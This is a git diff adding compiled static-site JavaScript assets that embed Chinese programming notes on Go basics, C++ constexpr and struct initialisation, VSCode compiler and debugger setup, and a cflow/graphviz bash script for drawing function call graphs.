+const l=JSON.parse('{"key":"v-11d7899f","path":"/Language/Go/Go%E8%AF%AD%E8%A8%80%E5%9C%A3%E7%BB%8F/CH1-%E5%85%A5%E9%97%A8.html","title":"CH1 入门","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"ch1.1 Hello World","slug":"ch1-1-hello-world","link":"#ch1-1-hello-world","children":[]},{"level":2,"title":"包管理","slug":"包管理","link":"#包管理","children":[{"level":3,"title":"package main","slug":"package-main","link":"#package-main","children":[]}]},{"level":2,"title":"function","slug":"function","link":"#function","children":[]},{"level":2,"title":"分号的问题","slug":"分号的问题","link":"#分号的问题","children":[]},{"level":2,"title":"引号的问题","slug":"引号的问题","link":"#引号的问题","children":[]},{"level":2,"title":"代码格式","slug":"代码格式","link":"#代码格式","children":[]},{"level":2,"title":"ch1.2 命令行参数","slug":"ch1-2-命令行参数","link":"#ch1-2-命令行参数","children":[]},{"level":2,"title":"优化上述 echo 程序","slug":"优化上述-echo-程序","link":"#优化上述-echo-程序","children":[]},{"level":2,"title":"ch1.3 查找重复的行","slug":"ch1-3-查找重复的行","link":"#ch1-3-查找重复的行","children":[]},{"level":2,"title":"ch1.4 GIF 动画","slug":"ch1-4-gif-动画","link":"#ch1-4-gif-动画","children":[]},{"level":2,"title":"ch1.5 获取 URL","slug":"ch1-5-获取-url","link":"#ch1-5-获取-url","children":[]},{"level":2,"title":"练习 1.7 使用 io.Copy 替代 io.outil.ReadAll","slug":"练习-1-7-使用-io-copy-替代-io-outil-readall","link":"#练习-1-7-使用-io-copy-替代-io-outil-readall","children":[]},{"level":2,"title":"练习 1.8 补充前缀","slug":"练习-1-8-补充前缀","link":"#练习-1-8-补充前缀","children":[]},{"level":2,"title":"练习 1.9 输出状态码","slug":"练习-1-9-输出状态码","link":"#练习-1-9-输出状态码","children":[]}],"git":{"createdTime":1698593548000,"updatedTime":1698593548000,"contributors":[{"name":"233PC","email":"ayusummer233@gmail.com","commits":1}]},"readingTime":{"minutes":33.78,"words":10133},"filePathRelative":"Language/Go/Go语言圣经/CH1-入门.md","localizedDate":"2023年10月29日","excerpt":""}');export{l as data};
diff --git "a/assets/CH2-\347\250\213\345\272\217\347\273\223\346\236\204.html-9b9e992e.js" "b/assets/CH2-\347\250\213\345\272\217\347\273\223\346\236\204.html-9b9e992e.js"
new file mode 100644
index 0000000000..f498416bc7
--- /dev/null
+++ "b/assets/CH2-\347\250\213\345\272\217\347\273\223\346\236\204.html-9b9e992e.js"
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-5da41757","path":"/Language/Go/Go%E8%AF%AD%E8%A8%80%E5%9C%A3%E7%BB%8F/CH2-%E7%A8%8B%E5%BA%8F%E7%BB%93%E6%9E%84.html","title":"CH2 程序结构","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"CH2.1 命名","slug":"ch2-1-命名","link":"#ch2-1-命名","children":[]}],"git":{"createdTime":1698593548000,"updatedTime":1698593548000,"contributors":[{"name":"233PC","email":"ayusummer233@gmail.com","commits":1}]},"readingTime":{"minutes":0.43,"words":128},"filePathRelative":"Language/Go/Go语言圣经/CH2-程序结构.md","localizedDate":"2023年10月29日","excerpt":""}');export{e as data};
diff --git "a/assets/CH2-\347\250\213\345\272\217\347\273\223\346\236\204.html-fd5d305a.js" "b/assets/CH2-\347\250\213\345\272\217\347\273\223\346\236\204.html-fd5d305a.js"
new file mode 100644
index 0000000000..26e1dccbaf
--- /dev/null
+++ "b/assets/CH2-\347\250\213\345\272\217\347\273\223\346\236\204.html-fd5d305a.js"
@@ -0,0 +1 @@
+import{_ as e}from"./plugin-vue_export-helper-c27b6911.js";import{o as a,c,f as r}from"./app-880c6425.js";const h={},o=r(' CH2 程序结构 CH2.1 命名 Go 语言中的函数名、变量名、常量名、类型名、语句标号和包名等所有的命名,都遵循一个简单的命名规则:一个名字必须以一个字母(Unicode 字母)或下划线开头,后面可以跟任意数量的字母、数字或下划线。
大写字母和小写字母是不同的:heapSort
和 Heapsort
是两个不同的名字。
',7),t=[o];function d(i,_){return a(),c("div",null,t)}const s=e(h,[["render",d],["__file","CH2-程序结构.html.vue"]]);export{s as default};
diff --git a/assets/CPP.html-66e08fea.js b/assets/CPP.html-66e08fea.js
new file mode 100644
index 0000000000..a321ed842e
--- /dev/null
+++ b/assets/CPP.html-66e08fea.js
@@ -0,0 +1,517 @@
+import{_ as l}from"./plugin-vue_export-helper-c27b6911.js";import{r as p,o as i,c as o,b as s,e as n,d as e,f as t}from"./app-880c6425.js";const c={},r=t(' C++ VisualStudio2019 相关 为什么VS中会建议宏转换为constexpr?
',7),u=s("p",null,"宏是由预处理器而非编译器解析的,比如不能用命名空间,所以使用后必须解除",-1),d=s("p",null,"以及宏很容易带来各式各样的错误,最简单如括号上的错误,还有宏会导致debug困难等等",-1),v={href:"https://www.zhihu.com/question/433057879",target:"_blank",rel:"noopener noreferrer"},k=s("hr",null,null,-1),m=s("h4",{id:"constexpr",tabindex:"-1"},[s("a",{class:"header-anchor",href:"#constexpr","aria-hidden":"true"},"#"),n(" constexpr")],-1),b={href:"https://www.winkp.com/7505.html",target:"_blank",rel:"noopener noreferrer"},h=t('关键字 constexpr
(constant expression ) 是在 C++11 中引入的,并且在 C++14 中进行了优化。
constexpr
和 const
一样可以用来修饰变量:试图修改 constexpr
变量时,编译器将会报错。
不同于 const
, constexpr
还可以修饰函数和类的构造函数。 constexpr
表示值或者返回值是常量,并且如果可能,在编译时计算它们。
一个 constexpr
整型值能够用在任何 const
整型值可以用的地方,例如模板参数和数组的申明。
当值在编译时计算而不是运行时计算时,它能够使程序运行得更快,并使用更少的内存。
为了限制编译时常量计算的复杂性,以及其对编译时间潜在的影响, C++14 标准需要 constexpr
类型必须为字面值类型。
1、字面值常量:一个形如42的值被称作字面值常量,这样的值一望而知。每个字面值常量都对应一种数据类型,字面值常量的形式和值决定了它的数据类型,包含:
整型和浮点型字面值 字符和字符串字面值 布尔字面值和指针字面值: bool test = false; nullptr是指针字面值;
———————————————— 版权声明:本文为CSDN博主「十一月zz」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/baidu_35679960/article/details/78934193
应该使用 constexpr 的场景 只要允许,尽可能使用 constexpr
,当值在编译时计算而不是运行时计算时,它能够使程序运行得更快,并使用更少的内存。 不应该使用 constexpr 的场景 constexpr
是对象或者函数接口的一部分,所以如果你使用了 constexpr
但反悔了,移除 constexpr
可能会导致大量的调用代码编译失败。(比如添加 I/O 操作用于调试或者性能调优可能导致这样的问题,因为 I/O 语句通常不是在 constexpr
函数中执行的。) auto 从初始化表达中推导出已声明变量的类型。 从 Visual Studio 2010
开始,**auto
**关键字宣布一个变量,其类型是从声明的初始化表达中推断出的 C4996 strcpy_s strcpy_s(str, strlen(str1)+1, str1);
#pragma once ',19),g={href:"https://docs.microsoft.com/en-us/cpp/preprocessor/once?view=msvc-160",target:"_blank",rel:"noopener noreferrer"},f=s("li",null,[s("p",null,[n("用 VS 新建 .h 头文件时会自动在首行生成一个 "),s("code",null,"#pragma once")])],-1),q=t('pragma: 编译指示, 杂注
使用 #pragma once
可以减少 build
次数, 因为编译器会在该文件第一次被 #include
时打开并读取该文件并且之后不再重读读取 VSCode 在 VSCode 中调试 C++ 程序 使用 VS 的 cl.exe ',7),_={href:"https://blog.csdn.net/qq_34801642/article/details/105453161",target:"_blank",rel:"noopener noreferrer"},E={href:"https://www.jianshu.com/p/c313b1dd9cf3",target:"_blank",rel:"noopener noreferrer"},$=t(`从 VS 的 工具 -> 获取工具和功能
唤醒 Visual Studio Installer
查看自己的 VS 的安装目录
我这里的路径是: C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community
下面配置环境变量要用到
打开 此电脑 -> 属性 -> 高级系统设置 -> 环境变量
并按照如下所示修改 系统变量
// 编辑 Path 变量, 添加如下路径, 注意这里的 VS 目录就是上一步找到的目录
+C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\VC\\Tools\\MSVC\\14.29.30037\\bin\\Hostx86\\x86
+
+// 新建 INCLUDE 变量并加入如下配置(每条配置间用;隔开)(其实输完第一条配置且加了;并回车确定后再编辑该环境变量就会有编辑弹窗可以一条条新建了); 需要留意的是如果你的 VS 是装在 C:\\Program Files 里的那么这里的 Windows Kits 文件夹可能就在 C:\\Program Files 目录中
+C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\VC\\Tools\\MSVC\\14.29.30037\\include
+C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.17763.0\\shared
+C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.17763.0\\ucrt
+C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.17763.0\\um
+C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.17763.0\\winrt
+
+// 新建 LIB 变量并加入如下配置
+C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\VC\\Tools\\MSVC\\14.29.30037\\lib\\x86
+C:\\Program Files (x86)\\Windows Kits\\10\\Lib\\10.0.17763.0\\um\\x86
+C:\\Program Files (x86)\\Windows Kits\\10\\Lib\\10.0.17763.0\\ucrt\\x86
+
修改完这些变量后依次按确定关闭打开的窗口以保存修改
win + R -> cmd
并回车打开命令行窗口, 输入 cl 并回车, 如下所示查看是否配置成功
重启 VSCode 以加载新的环境变量
新建一个目录并使用 VSCode 打开(因为会在 VSCode 当前打开文件夹的根目录下自动生成配置文件, 所以这里先新建一个干净的目录再用 VSCode 打开以免污染外围环境)
新建一个测试用的 cpp 文件如 test.cpp 并将编码调为 GBK (这个我没找到适配 UTF-8 的适配方案, 是一个从我用 VS 来就存在的严重问题.....)
#include <iostream>
+using namespace std;
+
+int main(){
+ cout << "这是一个测试" << endl;
+ return 0;
+}
+
使用 Ctrl + Shift + B
快捷键会唤起该窗口, 选择该项则会在侧边生成编译链接文件
使用 F5
快捷键唤起该窗口并选择 C++ Windows -> cl.exe
会在当前 VSCode 打开的文件夹的根目录下生成一个含有 launch.json
文件 的 .vscode
文件夹
json 文件内容如下:
{
+
+
+
+ "version" : "0.2.0" ,
+ "configurations" : [
+ {
+ "name" : "cl.exe - 生成和调试活动文件" ,
+ "type" : "cppvsdbg" ,
+ "request" : "launch" ,
+ "program" : "\${fileDirname}\\\\\${fileBasenameNoExtension}.exe" ,
+ "args" : [ ] ,
+ "stopAtEntry" : false ,
+ "cwd" : "\${fileDirname}" ,
+ "environment" : [ ] ,
+ "console" : "externalTerminal" ,
+ "preLaunchTask" : "C/C++: cl.exe 生成活动文件"
+ }
+ ]
+}
+
将标签页切换回 test.cpp
并再次按 F5
以执行生成的可执行文件
使用 gcc `,30),x={href:"https://leojhonsong.github.io/zh-CN/2018/12/30/%E9%85%8D%E7%BD%AEVSCode%E4%B8%AD%E8%B0%83%E8%AF%95C-C-%E7%8E%AF%E5%A2%83/",target:"_blank",rel:"noopener noreferrer"},y=s("br",null,null,-1),w={href:"https://code.visualstudio.com/docs/cpp/config-mingw",target:"_blank",rel:"noopener noreferrer"},C=s("br",null,null,-1),B={href:"https://code.visualstudio.com/docs/languages/cpp",target:"_blank",rel:"noopener noreferrer"},A=s("p",null,"PS: 一般按照上面第三个链接可以较为快捷地完成配置并运行 C++ 程序, 但是有时候配置项可能会出些问题, 所以下面简单描述下",-1),S=t(`检查 gcc
, gdb
gcc --version
+gdb --version
+
`,2),D={href:"https://code.visualstudio.com/docs/languages/cpp",target:"_blank",rel:"noopener noreferrer"},F={href:"https://code.visualstudio.com/docs/languages/cpp#_example-install-mingwx64",target:"_blank",rel:"noopener noreferrer"},P=t('简单来说就是下载 [msys](https://objects.githubusercontent.com/github-production-release-asset-2e65be/80988227/4fdf0417-d097-4519-854b-133188c60e38?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20230613%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230613T095929Z&X-Amz-Expires=300&X-Amz-Signature=e434be09c0fc8a6700ce1027ae10bea8e2078b50c4f75167a9ed1f0895b82fcc&X-Amz-SignedHeaders=host&actor_id=59549826&key_id=0&repo_id=80988227&response-content-disposition=attachment%3B filename%3Dmsys2-x86_64-20220603.exe&response-content-type=application%2Foctet-stream), 在弹出的窗口中使用 pacman -S --needed base-devel mingw-w64-x86_64-toolchain
安装工具链
MSYS (Minimal SYStem) 是一个轻量级的类 Unix 环境,是为 Windows 平台提供的一个集成开发环境。它是一种方便 Windows 用户模拟 Linux 环境和使用一些 Linux 工具的解决方案。
MSYS 最初是为了支持 MinGW (Minimalist GNU for Windows) 而创建的。MinGW 是一个用于生成 Windows 应用程序的 GCC 编译器的轻量级分发版,它不依赖于任何 Unix 系统,而 MSYS 提供了一些帮助 MinGW 工作的 Unix 工具,如 bash shell,以及许多常见 Unix 工具如 grep,sed,awk 等。
总的来说,MSYS 是一个简化的 POSIX/SUS 兼容的 Bourne shell 命令行解释器环境。使用它,开发者可以在 Windows 上运行自动化构建脚本,例如 Bash 脚本和 Makefile 等,从而使在 Windows 上编译 Unix 和 Linux 软件变得更加容易。
将 msys64\\mingw64\\bin
加到 Path
环境变量中重启 VSCode 加载环境变量即可
',4),T=s("li",null,[s("p",null,"安装 C++ 扩展"),s("p",null,[s("img",{src:"http://cdn.ayusummer233.top/img/202111250933328.png",alt:"Search for c++ in the Extensions view"})])],-1),O=s("p",null,[n("使用 VSCode 打开一个文件夹作为 C++ 工作区, 新建并编辑一个 cpp 文件, 程序编写完成后使用 "),s("code",null,"Ctrl + Shift + B"),n(" 快捷键调出 "),s("code",null,"build task"),n(" 窗口")],-1),V=s("li",null,[s("p",null,"如果看到的是这样的窗口那么直接选择 g++ 那项即可"),s("p",null,[s("img",{src:"http://cdn.ayusummer233.top/img/202111250936260.png",alt:"Select g++.exe task"})])],-1),R={href:"https://leojhonsong.github.io/zh-CN/2018/12/30/%E9%85%8D%E7%BD%AEVSCode%E4%B8%AD%E8%B0%83%E8%AF%95C-C-%E7%8E%AF%E5%A2%83/",target:"_blank",rel:"noopener noreferrer"},I=t(`配置备份:
tasks.json
{
+
+
+ "version" : "2.0.0" ,
+ "tasks" : [
+ {
+ "label" : "Compile" ,
+ "type" : "shell" ,
+ "command" : "gcc" ,
+ "args" : [
+ "\${file}" ,
+ "-o" ,
+ "\${fileDirname}/\${fileBasenameNoExtension}.exe" ,
+ "-g" ,
+ "-Wall" ,
+ "-std=c++17" ,
+ "-lstdc++"
+ ] ,
+ "group" : {
+ "kind" : "build" ,
+ "isDefault" : true
+ }
+ }
+ ]
+}
+
launch.json
{
+
+
+
+ "version" : "0.2.0" ,
+ "configurations" : [
+ {
+ "name" : "(gdb) Launch" ,
+ "type" : "cppdbg" ,
+ "request" : "launch" ,
+ "program" : "\${workspaceFolder}/\${fileBasenameNoExtension}.exe" ,
+ "args" : [ ] ,
+ "stopAtEntry" : false ,
+ "cwd" : "\${workspaceFolder}" ,
+ "environment" : [ ] ,
+ "externalConsole" : false ,
+ "MIMode" : "gdb" ,
+ "miDebuggerPath" : "gdb.exe" ,
+ "miDebuggerArgs" : "-q" ,
+ "setupCommands" : [
+ {
+ "description" : "Enable pretty-printing for gdb" ,
+ "text" : "-enable-pretty-printing" ,
+ "ignoreFailures" : true
+ }
+ ] ,
+ "preLaunchTask" : "Compile"
+ }
+ ]
+}
+
`,2),z={href:"https://stackoverflow.com/questions/28236870/undefined-reference-to-stdcout",target:"_blank",rel:"noopener noreferrer"},G=s("hr",null,null,-1),N=s("h2",{id:"实用工具",tabindex:"-1"},[s("a",{class:"header-anchor",href:"#实用工具","aria-hidden":"true"},"#"),n(" 实用工具")],-1),W=s("hr",null,null,-1),M=s("h3",{id:"快捷生成函数调用关系图",tabindex:"-1"},[s("a",{class:"header-anchor",href:"#快捷生成函数调用关系图","aria-hidden":"true"},"#"),n(" 快捷生成函数调用关系图")],-1),U={href:"https://github.com/scottrogowski/code2flow",target:"_blank",rel:"noopener noreferrer"},j=s("hr",null,null,-1),L=s("h4",{id:"callgraph",tabindex:"-1"},[s("a",{class:"header-anchor",href:"#callgraph","aria-hidden":"true"},"#"),n(" callgraph")],-1),Y=s("hr",null,null,-1),Z=s("h6",{id:"ubuntu",tabindex:"-1"},[s("a",{class:"header-anchor",href:"#ubuntu","aria-hidden":"true"},"#"),n(" Ubuntu")],-1),K=s("li",null,[s("p",null,"目前在网上只找到了 Ubuntu 的使用方案")],-1),H=s("p",null,"流程",-1),X=s("li",null,[s("p",null,[n("安装 "),s("code",null,"cflow"),n(" 和 "),s("code",null,"graphviz")]),s("p",null,[s("code",null,"sudo apt-get install cflow graphviz")])],-1),J={href:"https://raw.githubusercontent.com/tinyclub/linux-0.11-lab/master/tools/tree2dotx",target:"_blank",rel:"noopener noreferrer"},Q=s("code",null,"callgraph",-1),ss=t(`文件中的内容分别如下:
tree2dotx
:
#!/bin/bash
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+OS = $( uname )
+
+
+TOP_DIR = $( cd $( dirname $0) && pwd ) /
+tree2dotx = \${TOP_DIR} /tree2dotx
+
+
+OUT_DIR = \${TOP_DIR} /.. /callgraph
+[ ! -d $OUT_DIR ] && OUT_DIR = ./
+PIC_TYPE = svg
+
+
+if [ "x$OS " == "xDarwin" ] ; then
+ BROWSER = /Applications/Safari.app/Contents/MacOS/Safari
+else
+ BROWSER = chromium-browser
+fi
+
+
+
+
+func = main
+dir = ./
+
+
+depth =
+
+
+filterstr = ""
+
+
+
+function usage
+{
+ echo ""
+ echo " $0 "
+ echo ""
+ echo " -f func_name"
+ echo " -d directory|file"
+ echo " -F filterstr"
+ echo " -D depth"
+ echo " -o directory"
+ echo ""
+}
+
+while getopts "F:f:d:D:o:b:h" opt;
+do
+ case $opt in
+ F)
+ filterstr = $OPTARG
+ ; ;
+ f)
+ func = $OPTARG
+ ; ;
+ d)
+ [ -n "$OPTARG " ] && [ -f "$OPTARG " -o -d "$OPTARG " ] && dir = $OPTARG
+ ; ;
+ D)
+ depth = $OPTARG
+ ; ;
+ o)
+ output = $OPTARG
+ [ ! -d "$output " ] && mkdir -p $output
+ OUT_DIR = $output
+ ; ;
+ b)
+ BROWSER = $OPTARG
+ ; ;
+ h| ?)
+ usage $0 ;
+ exit 1 ;
+ ; ;
+ esac
+done
+
+
+if [ -d "$dir " ] ; then
+ match = \` grep " [a-zA-Z0-9_]*\${func} [a-zA-Z0-9_]*(.*)" -iur $dir | grep "\\.[ch]:" \`
+ file = \` echo "$match " | cut -d ':' -f1 \`
+else
+ match = "$dir " \` grep " [a-zA-Z0-9_]*\${func} [a-zA-Z0-9_]*(.*)" -iur $dir\`
+ file = "$dir "
+fi
+[ $? -ne 0 ] && echo "Note: No such function found: $func " && exit 1
+echo "Func: $func "
+[ -z "$file " ] && echo "Note: No file found for $func " && exit 1
+
+
+fileno = \` echo $file | tr -c -d ' ' | wc -c \`
+(( fileno+= 1 ))
+if [ $fileno -ne 0 ] ; then
+ echo "Match: $fileno "
+ echo "File:"
+ echo " 0 All files under $dir "
+ echo "$match " | cat -n
+ files = ( $file )
+ read -p "Select: 0 ~ $fileno ? " file_in
+ if [ $file_in -ne 0 ] ; then
+ while [ $file_in -lt 1 -o $file_in -gt $fileno ] ; do
+ read -p "Select: 1 ~ $fileno ? " file_in
+ done
+ (( file_in-= 1 ))
+ file = \${files[ $file_in] }
+ (( file_in+= 1 ))
+ fi
+else
+ file_in = 1
+fi
+
+if [ $file_in -ne 0 ] ; then
+ [ -z "$file " ] && echo "Note: No file found for $func " && exit 1
+ echo "File: $file "
+ func = \` echo "$match " | sed -n -e "\${file_in} ,\${file_in} p" | sed -n -e "s/.* \\([a-zA-Z0-9_]*\${func} [a-zA-Z0-9_]*\\)(.*).*/\\1 /p" \`
+ [ -z "$func " ] && echo "Note: No such function found: $func " && exit 1
+else
+ file = "\` find -L $dir -name '*.c' -or -name '*.h' | tr '\\n' ' ' \` "
+fi
+
+
+
+
+if [ $file_in -ne 0 ] ; then
+ tmp = \` echo $file | tr '/' '_' | tr '.' '_' \`
+else
+ tmp = "all"
+fi
+pic = \${func} . \${tmp} . \${PIC_TYPE}
+long_pic = \${OUT_DIR} /\${pic}
+
+which cflow > /dev/null 2 >&1
+if [ $? -ne 0 ] ; then
+ echo "Error: cflow doesn't exist, please install it..."
+ exit 1
+else
+ [ -n "$depth " ] && depth = " -d $depth "
+ calltree = "cflow -b $depth -m "
+fi
+
+which dot > /dev/null 2 >&1
+[ $? -ne 0 ] && "Error: dot doesn't exist, please install graphviz..."
+
+echo "Command: \${calltree} \${func} \${file} | \${tree2dotx} " \${filterstr} " 2>/dev/null | dot -T\${PIC_TYPE} -o $long_pic "
+\${calltree} \${func} \${file} | \${tree2dotx} -f "\${filterstr} " 2 > /dev/null | dot -T\${PIC_TYPE} -o $long_pic
+
+
+echo "Target: \${file} : \${func} -> \${long_pic} "
+
+
+which $BROWSER > /dev/null 2 >&1
+[ $? -ne 0 ] && exit 0
+$BROWSER \${long_pic} > /dev/null 2 >&1 &
+
callgraph
:
#!/bin/bash
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+OS = $( uname )
+
+
+TOP_DIR = $( cd $( dirname $0) && pwd ) /
+tree2dotx = \${TOP_DIR} /tree2dotx
+
+
+OUT_DIR = \${TOP_DIR} /.. /callgraph
+[ ! -d $OUT_DIR ] && OUT_DIR = ./
+PIC_TYPE = svg
+
+
+if [ "x$OS " == "xDarwin" ] ; then
+ BROWSER = /Applications/Safari.app/Contents/MacOS/Safari
+else
+ BROWSER = chromium-browser
+fi
+
+
+
+
+func = main
+dir = ./
+
+
+depth =
+
+
+filterstr = ""
+
+
+
+function usage
+{
+ echo ""
+ echo " $0 "
+ echo ""
+ echo " -f func_name"
+ echo " -d directory|file"
+ echo " -F filterstr"
+ echo " -D depth"
+ echo " -o directory"
+ echo ""
+}
+
+while getopts "F:f:d:D:o:b:h" opt;
+do
+ case $opt in
+ F)
+ filterstr = $OPTARG
+ ; ;
+ f)
+ func = $OPTARG
+ ; ;
+ d)
+ [ -n "$OPTARG " ] && [ -f "$OPTARG " -o -d "$OPTARG " ] && dir = $OPTARG
+ ; ;
+ D)
+ depth = $OPTARG
+ ; ;
+ o)
+ output = $OPTARG
+ [ ! -d "$output " ] && mkdir -p $output
+ OUT_DIR = $output
+ ; ;
+ b)
+ BROWSER = $OPTARG
+ ; ;
+ h| ?)
+ usage $0 ;
+ exit 1 ;
+ ; ;
+ esac
+done
+
+
+if [ -d "$dir " ] ; then
+ match = \` grep " [a-zA-Z0-9_]*\${func} [a-zA-Z0-9_]*(.*)" -iur $dir | grep "\\.[ch]:" \`
+ file = \` echo "$match " | cut -d ':' -f1 \`
+else
+ match = "$dir " \` grep " [a-zA-Z0-9_]*\${func} [a-zA-Z0-9_]*(.*)" -iur $dir\`
+ file = "$dir "
+fi
+[ $? -ne 0 ] && echo "Note: No such function found: $func " && exit 1
+echo "Func: $func "
+[ -z "$file " ] && echo "Note: No file found for $func " && exit 1
+
+
+fileno = \` echo $file | tr -c -d ' ' | wc -c \`
+(( fileno+= 1 ))
+if [ $fileno -ne 0 ] ; then
+ echo "Match: $fileno "
+ echo "File:"
+ echo " 0 All files under $dir "
+ echo "$match " | cat -n
+ files = ( $file )
+ read -p "Select: 0 ~ $fileno ? " file_in
+ if [ $file_in -ne 0 ] ; then
+ while [ $file_in -lt 1 -o $file_in -gt $fileno ] ; do
+ read -p "Select: 1 ~ $fileno ? " file_in
+ done
+ (( file_in-= 1 ))
+ file = \${files[ $file_in] }
+ (( file_in+= 1 ))
+ fi
+else
+ file_in = 1
+fi
+
+if [ $file_in -ne 0 ] ; then
+ [ -z "$file " ] && echo "Note: No file found for $func " && exit 1
+ echo "File: $file "
+ func = \` echo "$match " | sed -n -e "\${file_in} ,\${file_in} p" | sed -n -e "s/.* \\([a-zA-Z0-9_]*\${func} [a-zA-Z0-9_]*\\)(.*).*/\\1 /p" \`
+ [ -z "$func " ] && echo "Note: No such function found: $func " && exit 1
+else
+ file = "\` find -L $dir -name '*.c' -or -name '*.h' | tr '\\n' ' ' \` "
+fi
+
+
+
+
+if [ $file_in -ne 0 ] ; then
+ tmp = \` echo $file | tr '/' '_' | tr '.' '_' \`
+else
+ tmp = "all"
+fi
+pic = \${func} . \${tmp} . \${PIC_TYPE}
+long_pic = \${OUT_DIR} /\${pic}
+
+which cflow > /dev/null 2 >&1
+if [ $? -ne 0 ] ; then
+ echo "Error: cflow doesn't exist, please install it..."
+ exit 1
+else
+ [ -n "$depth " ] && depth = " -d $depth "
+ calltree = "cflow -b $depth -m "
+fi
+
+which dot > /dev/null 2 >&1
+[ $? -ne 0 ] && "Error: dot doesn't exist, please install graphviz..."
+
+echo "Command: \${calltree} \${func} \${file} | \${tree2dotx} " \${filterstr} " 2>/dev/null | dot -T\${PIC_TYPE} -o $long_pic "
+\${calltree} \${func} \${file} | \${tree2dotx} -f "\${filterstr} " 2 > /dev/null | dot -T\${PIC_TYPE} -o $long_pic
+
+
+echo "Target: \${file} : \${func} -> \${long_pic} "
+
+
+which $BROWSER > /dev/null 2 >&1
+[ $? -ne 0 ] && exit 0
+$BROWSER \${long_pic} > /dev/null 2 >&1 &
+
给所有用户这两个文件的可执行权限
chmod u+x tree2dotx
chmod u+x callgraph
安装 gawk
sudo apt-get install gawk
将需要分析的 cpp 文件放到上面那两个文件所在的目录下(以 main.cpp 含 main() 函数为例)
分析 main.cpp 文件中的 main 函数:
./callgraph -f main -d ./main.cpp
`,6),ns=s("hr",null,null,-1),as=s("h4",{id:"tceetree-cscope-graphviz",tabindex:"-1"},[s("a",{class:"header-anchor",href:"#tceetree-cscope-graphviz","aria-hidden":"true"},"#"),n(" tceetree + cscope + Graphviz")],-1),es=s("li",null,"远古命令行操作, 貌似很旧了, 个人复现完成了但是没有完全完成, 所以只附个索引在这里(主要还是操作繁琐而且基本都是命令行操作, 我认为应该存在更有效的替代方式)",-1),ts={href:"https://sourceforge.net/p/tceetree/wiki/Home/",target:"_blank",rel:"noopener noreferrer"},ls=s("blockquote",null,[s("p",null,"cscope 的 win 版本需要访问 Google Code")],-1),ps=s("hr",null,null,-1),is=s("h4",{id:"visualstudio-code-graph-扩展",tabindex:"-1"},[s("a",{class:"header-anchor",href:"#visualstudio-code-graph-扩展","aria-hidden":"true"},"#"),n(" VisualStudio Code Graph 扩展")],-1),os=s("p",null,"直接在 VS 扩展管理中搜索安装即可",-1),cs=s("p",null,[s("img",{src:"http://cdn.ayusummer233.top/img/20210630163511.png",alt:"image-20210630163504231"})],-1),rs=s("p",null,"貌似不错的样子, 但是结点要自行拉取, 所以我也只是浅尝辄止",-1),us=s("p",null,[s("img",{src:"http://cdn.ayusummer233.top/img/20210630163553.png",alt:"image-20210630163553198"})],-1),ds={href:"https://marketplace.visualstudio.com/items?itemName=YaobinOuyang.CodeAtlas",target:"_blank",rel:"noopener noreferrer"},vs=s("hr",null,null,-1),ks=s("h4",{id:"cppdepend",tabindex:"-1"},[s("a",{class:"header-anchor",href:"#cppdepend","aria-hidden":"true"},"#"),n(" CppDepend")],-1),ms={href:"https://www.cppdepend.com/thank-you-for-downloading-cppdepend?os=win_exe&email=1369661643@qq.com",target:"_blank",rel:"noopener noreferrer"},bs=t('安装过程需要从国际互联网拉取更新
个人使用体验确实不错, 只可惜 FreeTrial 只有 14 天试用, 个人付费又不是很合算, 中文互联网上相关信息又比较少, 不过这基本上算是给了我一个思路->代码分析工具, 那么就可以找寻相应国产或者中文互联网主流的代码分析工具试着看看有没有类似的功能可以为我所用 检索能力有限, 最终还是决定先用着 CppDepend, 它确实很对我胃口🤣
数据结构 结构体 初始化 ',12),hs={href:"https://blog.csdn.net/weixin_43914889/article/details/107869575",target:"_blank",rel:"noopener noreferrer"},gs=t(` 构造函数使用 :
快捷赋值 结构体名(形参): 成员变量1(形参1),成员变量2(形参2){};
#include <iostream>
+using namespace std;
+
+struct test_struct{
+ int a;
+ char b;
+ test_struct(int a=0, char b='b'): a(a), b(b){}
+};
+
+int main(){
+ test_struct tmp1;
+ test_struct tmp2(3,'a');
+ cout<<tmp1.a<<" "<<tmp1.b<<endl;
+ cout<<tmp2.a<<" "<<tmp2.b<<endl;
+ return 0;
+}
+
实例化时使用 {} 赋值初始化 #include <iostream>
+using namespace std;
+
+struct test_struct{
+ int a;
+ char b;
+};
+
+int main(){
+ test_struct tmp3 = {4, 'd'};
+ cout<<tmp3.a<<" "<<tmp3.b<<endl;
+ return 0;
+}
+
老老实实写构造函数初始化 #include <iostream>
+using namespace std;
+
+struct test_struct{
+ int a;
+ char b;
+ test_struct(int a, char b){
+ this->a = a;
+ this->b = b;
+ }
+};
+
+int main(){
+ test_struct tmp4(5,'a');
+ test_struct tmp5 = {6, 'e'};
+ cout<<tmp4.a<<" "<<tmp4.b<<endl;
+ cout<<tmp5.a<<" "<<tmp5.b<<endl;
+ return 0;
+}
+
支持将定义结构体和实例化结构体写在一起 #include <iostream>
+using namespace std;
+
+struct test_struct{
+ int a;
+ char b;
+ test_struct(int a, char b){
+ this->a = a;
+ this->b = b;
+ }
+}tmp6 = {7, 'k'};
+
+int main(){
+ cout<<tmp6.a<<" "<<tmp6.b<<endl;
+ return 0;
+}
+
字符串 std::strcmp 定义于头文件 <cstring>
int strcmp( const char *lhs, const char *rhs );
以字典序比较二个空终止字节字符串。
结果的符号是被比较的字符串中首对不同字符(都转译成 unsigned char )的值间的差值符号。
若 lhs
或 rhs
不是指向空终止字节字符串的指针,则行为未定义。
参数 lhs, rhs - 指向待比较的空终止字节字符串的指针
返回值 若字典序中 lhs
先出现于 rhs
则为负值。
